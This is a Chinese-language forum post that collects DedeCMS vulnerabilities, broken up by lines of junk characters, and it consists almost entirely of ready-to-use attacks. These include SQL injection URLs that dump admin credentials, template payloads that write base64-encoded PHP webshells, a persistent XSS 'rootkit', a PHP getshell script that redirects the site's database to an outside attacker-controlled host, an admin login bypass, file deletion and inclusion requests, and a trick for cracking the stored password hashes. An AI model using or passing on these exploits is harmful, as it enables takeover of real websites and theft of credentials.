dedecms漏洞总结

admin

6 b, z: `. P& Y3 M7 |Dedecms 5.6 rss注入漏洞
3 n6 I3 s5 Y: }7 w, Yhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
4 B. w1 J6 Z/ N0 B$ n4 r


& Q, l+ R" }1 o& h4 k$ c8 Y
8 ~& ?! p- K3 m4 s1 V' N0 F

. f3 R" l$ }. X9 q2 K

  x  ?' i$ }0 Q0 uDedeCms v5.6 嵌入恶意代码执行漏洞
. c, T; h* M3 W+ t! A注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
8 m! K, v) _8 L5 J$ a* f
$ S' k/ u/ \  E# c

. ^2 ?$ c+ m/ ]# H( o- ?
6 z+ X6 N( x' s) {


) A+ Y( y+ t5 D$ C( Z* g
Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
: d& d* l. s# A; _http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
" H9 v* f) U5 x! Z; e2 z
0 ]9 O- m+ e1 C( ]

$ @3 {' q; y" Q8 \% M  _

$ G7 o+ `" Q; H
& K& K+ C6 t% b4 N7 r. Z

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
. T) f& C# E$ Y5 V8 i8 lhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
* z* G9 y7 I) a1 F: {" o" C



& B% [1 N) C2 \- J$ ^( _- [
/ p. C/ T* w- s4 L6 |
$ g( A6 i3 i7 i/ y* @DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
0 [# ^3 r$ p9 o* u( `+ Ahttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
  [- e$ d# d. q8 Q
4 \' |: J# q# v. Y) r
http://v57.demo.dedecms.com/dede/login.php

3 Y" N9 g& s- o3 _
color=Red]DeDeCMS(织梦)变量覆盖getshell
: }; J+ V! B) J, K: M4 E#!usr/bin/php -w
<?php
, _4 K/ K0 u7 L# Serror_reporting(E_ERROR);
set_time_limit(0);
) k4 P( ~6 |9 P+ V6 _* e% Yprint_r('
DEDEcms Variable Coverage
0 b% H6 b8 D* o1 nExploit Author: www.heixiaozi.comwww.webvul.com
);
* L3 H# X, [1 `# Xecho "\r\n";
# V+ j9 o# {( `/ n, Y$ F$ n- gif($argv[2]==null){
) ]; H( J. y# _5 S5 [7 Nprint_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
( P$ ^% f5 K$ E* y7 Jaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
( Y% L8 B$ r# @+ ?. @php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
' \( h0 c9 U) J' X  @2 R! \' [');
9 G0 c/ I  f; h0 Y$ ~# hexit;
}
" X8 H, O4 B; l: f# G$ x$url=$argv[1];
, U3 k  {  p) E+ q) D9 B$aid=$argv[2];
2 v5 |9 O4 Y. o# i7 j  {$path=$argv[3];
$exp=Getshell($url,$aid,$path);
& X6 w& M7 t* D. tif (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
# L. u% T6 ~- \$ D" ^) OShell:".$url."/$path/data/cache/fuck.php\n" ;
7 J+ I. s7 L% I( K- H- I/ ?9 S

if($aid==2)echo "
* ^8 O& H7 G; yShell:".$url."/$path/fuck.php\n" ;
2 P! a2 t2 z+ ~$ c) m: D

if($aid==3)echo "
* p' }  D) C" B6 ?( z) O. `6 f$ zShell:".$url."/$path/plus/fuck.php\n";
. k0 m( J; ?6 c" g/ {

7 D, w. J6 g& W0 t. U! M}else{
5 o( s6 f, M" n& f  `. a, Z) secho "
Exploit Failed \n";
3 y5 D) m' f& e8 y3 [0 m$ U}
function Getshell($url,$aid,$path){
$id=$aid;
! m! o7 Y! f+ b! Q$ Z$host=$url;
$port="80";
3 k+ j0 ]" e4 }$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
1 G2 l0 x  J* u9 e2 H9 g6 G" h$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
. d4 ?* v# X, J0 Z$ U, C/ J$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
, t! [- C0 R4 m, y+ C+ R2 b! d$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
, `% q9 P3 j- g" m7 Z$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
6 K$ v2 p+ j& r6 r- ?$ D$ock=fsockopen($host,$port);
* f& f3 E7 V7 i; ?- `- l* c. M: dif (!$ock) {
; s5 ^5 |, m( \9 D1 m+ U5 cecho "
! K( l. J1 ~% Q/ ~No response from ".$host."\n";
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
7 O. }' k6 f1 j& C" ~: P}
}


- x# b2 D. }" F" t: p" X4 w' p?>
3 b) _5 J, d* S, a! e


& r5 B3 D+ [" p4 S, z. E




% O3 R* G6 b" i, L, v

DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
: a' ^0 t7 U$ h+ f4 x

! d/ T, \1 z- J% |) ]把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现

! W2 l) s5 R; d5 Q

6 U# |  K0 _% Y( [



9 H' j0 X( V$ I! L; U% W8 h

$ o2 l% s1 K: O" L/ f) v/ h. Y
: U- O6 x4 _" R6 uDedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
' _# t: u/ O( R. ]; @

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
. w  a( y$ n. m: ^# ^- z3 V0 H<form action="" method="post" name="QuickSearch" id="QuickSearch">
; y  h- p- i8 f3 o- V' w<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
6 c; q- x$ C" i3 V2 T/ Q6 v6 \<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
; y; q7 @& x8 n/ B& `1 `<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
! Q, q, w! M- Y3 k" ?, ^+ j  W{
: V. T& C8 P% [: odocument.QuickSearch.action=document.QuickSearch.doaction.value;
) q6 \# _3 r8 S5 Y9 G9 D, r# ]. Y# O}
</script>








6 [2 E- r. Y" b$ X# X  X: O. n
7 p" i! m. A) J+ |$ }8 ]
. R# c3 p/ k6 V" A4 ?DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
+ q+ g) e7 H! b4 S/ ma{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
/ H$ X# K) ~8 p5 M8 _6 W) P2 f7 Xuploads/userup/2/12OMX04-15A.jpg
- d. c" D: k" A6 S2 Y$ m% W& c8 N

模板内容是（如果限制图片格式，加gif89a）：
( u7 n5 D8 R0 |) Z) P$ p2 b{dede:name runphp='yes'}
4 ^& {# y9 N2 D* P1 T8 v3 E$fp = @fopen("1.php", 'a');
4 k5 R* u8 Z- i+ V@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
, Z0 W' d( Q2 }@fclose($fp);
{/dede:name}
. d. S" O3 M1 E" o) g0 ?3 a7 N4 ~; F2 修改刚刚发表的文章，查看源文件，构造一个表单：
) _% l; S! z/ f  t9 E- |7 `0 K<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
4 \: a! `2 D" R' i9 D8 ^# L/ T<input type="hidden" name="dopost" value="save" />
  M/ A$ O& X8 v4 w4 G$ @<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
1 u* Y6 @" \  K: V0 G, ^<input type="hidden" name="channelid" value="1" />
/ A( k  Q- u) s# H/ ~' Z& ?1 {<input type="hidden" name="oldlitpic" value="" />
9 P% A6 \8 k  V3 z  u+ e7 j<input type="hidden" name="sortrank" value="1275972263" />

* s! H( }2 F4 d
  L( e2 ~) P. v6 i<div id="mainCp">
; u' w' a) W3 M<h3 class="meTitle"><strong>修改文章</strong></h3>

) ]0 m# x# R# @& A5 |
# K6 g% t" [! n8 z) E1 B<div class="postForm">
  v, B2 F3 |1 i$ ?. r<label>标题：</label>
7 T, X, q" L6 S# s<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

, r1 G: Q& T+ T; y- Q0 T% ~
9 @( {+ H' l. g, F1 J- U<label>标签TAG：</label>
5 w0 _+ G- |. f4 j( f9 K" V0 Z<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
& C' ^( k* r6 c* U8 |# _, \

: @# H; ~0 G% r. l<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
4 Y; u2 a9 o% |* n9 w7 V2 I<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
+ s! m$ {9 Z+ R( P</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
7 |# @- n: Z5 b
! _1 G! e, V! R9 L* g+ H
<label>我的分类：</label>
, w* M  J7 _3 _# [7 g, ^<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
( G& a  j* j, P: S* n8 J</select>
$ L: ]7 r& ?% U3 o

; M1 f3 \' D/ P$ {9 Q: y3 f<label>信息摘要：</label>
) V7 ~3 U$ C3 z. W<textarea name="description" id="description">1111111</textarea>
) |8 n) u2 K& G+ o" R. ^4 `(内容的简要说明)

/ r2 r* M1 P0 [+ l5 q/ _. u7 ]7 A# y
( V$ C! h, r& E: _# d9 m<label>缩略图：</label>
+ K4 I" _/ k, |2 [<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
) E! h6 H* \6 ^

<input type='text' name='templet'
$ t% U9 q( \  M- m7 y2 b# }; @value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
! m: Z: U* h+ E0 e- {</div>
- L7 V$ ]1 d4 W( l; `2 y% w( n

, @* v' b; ?" o& d<!-- 表单操作区域 -->
3 `4 b+ U& Y  G1 l5 `& g. F<h3 class="meTitle">详细内容</h3>

  ?- @, \' Y0 ~. M7 Q
- l5 F: ~& t: `+ ?0 E  s<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

8 q6 ?, ~1 H& r2 F' R! m4 C
<label>验证码：</label>
. A- @3 {4 K; R4 w. D8 r" @; h" [8 D<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
% B5 o" j% t: p0 u" u

( q% F/ M# G. f5 V  ?& r& \<button class="button2" type="submit">提交</button>
7 U" Y, O1 h. Q! i+ v0 y$ D<button class="button2 ml10" type="reset">重置</button>
</div>


8 l7 K6 Q; ^& L6 S8 p: F</div>


7 f) O' c: i0 p7 O' D</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
3 F( W3 o6 b) E8 j即可以在plus目录下生成webshell：1.php






0 g/ T5 \$ t$ R# z1 j& g
7 ?! W# C* _% a1 h' ^
# T: \1 W2 A& o* N6 q$ a0 H" c6 u

8 ?# t+ ]* B9 b

  M+ b1 f; p8 @" h% SDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
6 e, C6 @! O. y' d( o4 \9 Q& W{/dede:field}
) x8 w8 M- r3 u1 l% ~, @8 ^, J保存为1.gif
1 C9 Z- E7 g" F$ F- G<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
5 g$ }4 C# r/ I( m9 U( @9 \$ ~<input type="hidden" name="aid" value="7" />
0 [' |& d' M" J0 ~: M' j<input type="hidden" name="mediatype" value="1" />
( Z; I( a' t4 x& k+ k<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
0 Z! a; F1 H/ a/ c3 W<input type="hidden" name="dopost" value="save" />
: v% j6 n1 \7 A' P) [$ L<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
( X6 }6 f- ?* v& Q- {& r<input name="addonfile" type="file" id="addonfile"/>
: C" T- H& U4 @3 e<button class="button2" type="submit" >更改</button>
1 Q7 i4 \. j7 O</form>

' q- T- m( }/ m6 z
! l# D9 u: D0 J9 W4 M- a构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
6 @6 y- ^4 e% q, N) n# Y3 e! G" k

1 Q5 ?, t: S* L; V3 |/ L7 H<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
4 i" s& z' E" h<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
2 {  \% W* @8 q) G5 S+ }5 K. ]<input type="hidden" name="channelid" value="1" />
" y/ ^8 \' W# c& |<input type="hidden" name="oldlitpic" value="" />
+ U! F" o2 |$ a<input type="hidden" name="sortrank" value="1282049150" />
# o* m) d) H: x+ I<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
: ]' c5 g  p& {' q<select name='typeid' size='1'>
- Q5 P5 w- X9 D* E( e4 l& W<option value='1' class='option3' selected=''>Test</option>
* y& V) j9 c* D8 o* X<select name='mtypesid' size='1'>
5 g8 z, G, P" @2 e* k5 L6 p<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
& r8 G4 A  @* a' i$ o- U% K</form>
$ x1 _$ @( l4 l. }9 A- E9 V% i

. s, W0 ^# b" C- n/ g5 W
0 P3 M( l( |% q/ q7 D7 y+ M0 k) e

3 C8 T6 E9 X6 ?' l" f, }* C


- Q. V3 M/ S1 s2 ?7 Z/ |1 O% Q' m
7 I: h" R' l5 y3 c& J' X6 r
$ E) p  R5 R- _1 q: i4 Z- z

织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

& g# _" o7 }% D, R3 d
2 ]; L- c$ N7 B+ W( H( U! K
- T4 O; {2 [" _2 D
8 C* v  A- }2 ^



! M/ h. G" ]' M& E' [, l  m$ z! V& h

织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
  t; z; A" x' ^9 jhttp://www.test.com/plus/carbuya ... urn&code=../../
% ~: ], {1 y+ f0 X  t" s1 ?2 v
3 Q8 A  T& I/ |3 V* N3 n

4 d6 l* y# e) ]) E6 _" x
/ c3 Z) b, q6 [




/ C1 ^# D! ?% ?
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
; R4 Q* J/ j+ [密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

. P& @$ d4 b; H% `. \


% a( |( z$ k# `: f
- G9 d3 b" J* R
% e; m5 d, g- o3 l

& ^$ a3 W1 }0 q! J
' m+ k& b( E$ {: X
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
' |) a8 S: O% N" P9 ihttp://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
' Y0 F0 K" S$ U3 w, z2 Y; y



, b/ p1 k% M* S. Z1 w

( S- ]0 t1 e# X
& _( a; z7 W: ~# H% h3 n+ `% M0 \
+ L  {( ?- o0 e8 K
: A, Q8 j% G1 b' e, v7 M
+ W( X+ g" F. E4 f! p织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
; W8 l( `7 I) h& W<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
* P/ M  c: u$ w4 L8 S# b<body style="FONT-SIZE: 9pt">
' E; y* H8 y+ e" X/ T) v+ W, i---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
, i" {7 A2 x: i7 b& k<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
7 N) i5 C, r$ g6 o# W- Z/ Y<input type='hidden' name='cfg_imgtype' value='php' />
4 t, T" G! r7 F0 @) E% J' b( K7 Q<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
$ t" }% O: o. i  R$ F<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
& R1 Y. i- @( v$ k7 X$ eSelect U Shell <input type='file' name='uploadfile' size='25' />
4 H8 Q- Z# S6 E4 t<input type='submit' name='sb1' value='确定' />
</form>
$ L$ u  k7 w# H7 N2 ~<br />It's just a exp for the bug of Dedecms V55...<br />
" [6 T( {( E: rNeed register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
+ `; h3 A) V  @7 W. F" u" r</html>
8 q5 q& ^; U, r$ I% m
' G, ^6 d, P; T/ }+ G9 F



+ e$ `; k' o$ D8 |! m" L

. I2 u8 D! C  O& N9 `


# w8 z7 z1 M5 Y% {1 u织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
; f! ~$ R- x: K0 i2 a( r利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
5 h6 G5 Z0 l; x) y7 o, khttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
3 U" y8 N# Z. a- y# T可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
6 ^% G9 p: r3 E" ~' h8 A" m# @! |" |int(3) Error: Illegal double '1024e1024' value found during parsing
, I  Q. G1 G$ OError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
+ _8 k) e. B( S; Q& P; A

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

' L9 Z- n: T! i& J; \
3 {% {; _/ [3 M1 @: u/ `+ c<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
" I0 c" ~7 [, h+ D: h8 h% ^

按确定后的看到第2步骤的信息表示文件木马上传成功.






. j0 c: j9 o% f  L( G


7 V2 \- `* A4 {. [& z# f

8 i; G9 J* _3 ~  U; I) }7 x1 p
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
! U0 u: P. N- a% @http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*